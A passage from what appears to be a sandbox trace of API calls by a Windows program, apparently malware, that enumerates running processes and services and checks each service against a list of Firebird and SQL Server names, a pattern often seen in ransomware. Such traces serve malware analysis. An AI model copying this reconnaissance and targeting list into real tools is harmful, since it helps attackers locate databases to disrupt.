returned 1 [0286.722] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0286.722] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0286.723] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0286.723] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.724] lstrlenW (lpString="svchost.exe") returned 11 [0286.725] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.726] lstrlenW (lpString="svchost.exe") returned 11 [0286.726] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0286.727] lstrlenW (lpString="dwm.exe") returned 7 [0286.727] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.728] lstrlenW (lpString="svchost.exe") returned 11 [0286.728] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.729] lstrlenW (lpString="svchost.exe") returned 11 [0286.729] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.730] lstrlenW (lpString="svchost.exe") returned 11 [0286.730] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.731] lstrlenW (lpString="svchost.exe") returned 11 [0286.731] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.732] lstrlenW (lpString="svchost.exe") returned 11 [0286.732] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.733] lstrlenW (lpString="svchost.exe") returned 11 [0286.734] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.734] lstrlenW (lpString="svchost.exe") returned 11 [0286.735] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.804] lstrlenW (lpString="svchost.exe") returned 11 [0286.804] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.805] lstrlenW (lpString="svchost.exe") returned 11 [0286.805] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.806] lstrlenW (lpString="svchost.exe") returned 11 [0286.806] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0286.807] lstrlenW (lpString="spoolsv.exe") returned 11 [0286.807] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.808] lstrlenW (lpString="svchost.exe") returned 11 [0286.808] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0286.809] lstrlenW (lpString="audiodg.exe") returned 11 [0286.810] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0286.810] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0286.811] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0286.811] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0286.812] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0286.812] lstrlenW (lpString="Memory Compression") returned 18 [0286.813] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.815] lstrlenW (lpString="svchost.exe") returned 11 [0286.815] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0286.816] lstrlenW (lpString="sihost.exe") returned 10 [0286.816] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0286.817] lstrlenW (lpString="taskhostw.exe") returned 13 [0286.817] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0286.818] lstrlenW (lpString="msoia.exe") returned 9 [0286.818] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0286.821] lstrlenW (lpString="explorer.exe") returned 12 [0286.821] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0286.822] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0286.822] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0286.824] lstrlenW (lpString="SearchUI.exe") returned 12 [0286.824] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0286.825] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0286.825] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0286.826] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0286.826] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0286.827] lstrlenW (lpString="chrome64b.exe") returned 13 [0286.827] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0286.828] lstrlenW (lpString="dllhost.exe") returned 11 [0286.828] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0286.830] CloseHandle (hObject=0x564) returned 1 [0286.830] Sleep (dwMilliseconds=0x1f4) [0287.674] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a130 [0287.674] EnumServicesStatusExW (in: hSCManager=0x69a130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0287.675] GetLastError () returned 0xea [0287.675] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x4691f80 [0287.675] EnumServicesStatusExW (in: hSCManager=0x69a130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4691f80, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4691f80, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0287.676] CloseServiceHandle (hSCObject=0x69a130) returned 1 [0287.676] lstrlenW (lpString="Appinfo") returned 7 [0287.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0287.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0287.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0287.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0287.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0287.676] lstrlenW (lpString="AppXSvc") returned 7 [0287.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0287.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0287.677] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0287.677] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0287.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0287.677] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0287.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0287.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0287.677] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0287.677] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0287.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0287.677] lstrlenW (lpString="Audiosrv") returned 8 [0287.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0287.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0287.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0287.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0287.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0287.677] lstrlenW (lpString="BFE") returned 3 [0287.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0287.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0287.677] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0287.678] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0287.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0287.678] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0287.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0287.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0287.678] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0287.678] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0287.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0287.678] lstrlenW (lpString="CDPSvc") returned 6 [0287.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0287.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0287.678] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0287.678] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0287.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0287.678] lstrlenW (lpString="ClickToRunSvc") returned 13 [0287.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0287.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0287.678] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0287.678] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0287.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0287.679] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0287.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0287.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0287.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0287.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0287.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0287.679] lstrlenW (lpString="CryptSvc") returned 8 [0287.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0287.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0287.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0287.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0287.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0287.679] lstrlenW (lpString="DcomLaunch") returned 10 [0287.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0287.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0287.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0287.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0287.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0287.679] lstrlenW (lpString="DeviceAssociationService") returned 24 [0287.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0287.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0287.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0287.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0287.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0287.680] lstrlenW (lpString="Dhcp") returned 4 [0287.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0287.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0287.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0287.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0287.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0287.680] lstrlenW (lpString="Dnscache") returned 8 [0287.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0287.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0287.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0287.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0287.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0287.680] lstrlenW (lpString="DPS") returned 3 [0287.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0287.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0287.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0287.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0287.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0287.680] lstrlenW (lpString="DusmSvc") returned 7 [0287.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0287.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0287.681] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0287.681] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0287.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0287.681] lstrlenW (lpString="EventLog") returned 8 [0287.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0287.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0287.681] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0287.681] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0287.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0287.681] lstrlenW (lpString="EventSystem") returned 11 [0287.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0287.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0287.681] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0287.681] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0287.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0287.681] lstrlenW (lpString="FontCache") returned 9 [0287.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0287.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0287.682] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0287.682] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0287.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0287.682] lstrlenW (lpString="gpsvc") returned 5 [0287.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0287.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0287.682] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0287.682] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0287.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0287.682] lstrlenW (lpString="iphlpsvc") returned 8 [0287.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0287.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0287.682] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0287.682] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0287.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0287.682] lstrlenW (lpString="KeyIso") returned 6 [0287.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0287.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0287.682] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0287.683] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0287.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0287.683] lstrlenW (lpString="LanmanServer") returned 12 [0287.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0287.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0287.683] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0287.683] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0287.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0287.683] lstrlenW (lpString="LanmanWorkstation") returned 17 [0287.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0287.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0287.683] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0287.683] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0287.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0287.683] lstrlenW (lpString="lfsvc") returned 5 [0287.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0287.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0287.683] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0287.683] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0287.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0287.683] lstrlenW (lpString="lmhosts") returned 7 [0287.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0287.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0287.684] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0287.684] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0287.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0287.684] lstrlenW (lpString="LSM") returned 3 [0287.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0287.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0287.684] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0287.684] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0287.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0287.684] lstrlenW (lpString="MpsSvc") returned 6 [0287.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0287.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0287.684] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0287.684] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0287.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0287.684] lstrlenW (lpString="NcbService") returned 10 [0287.684] 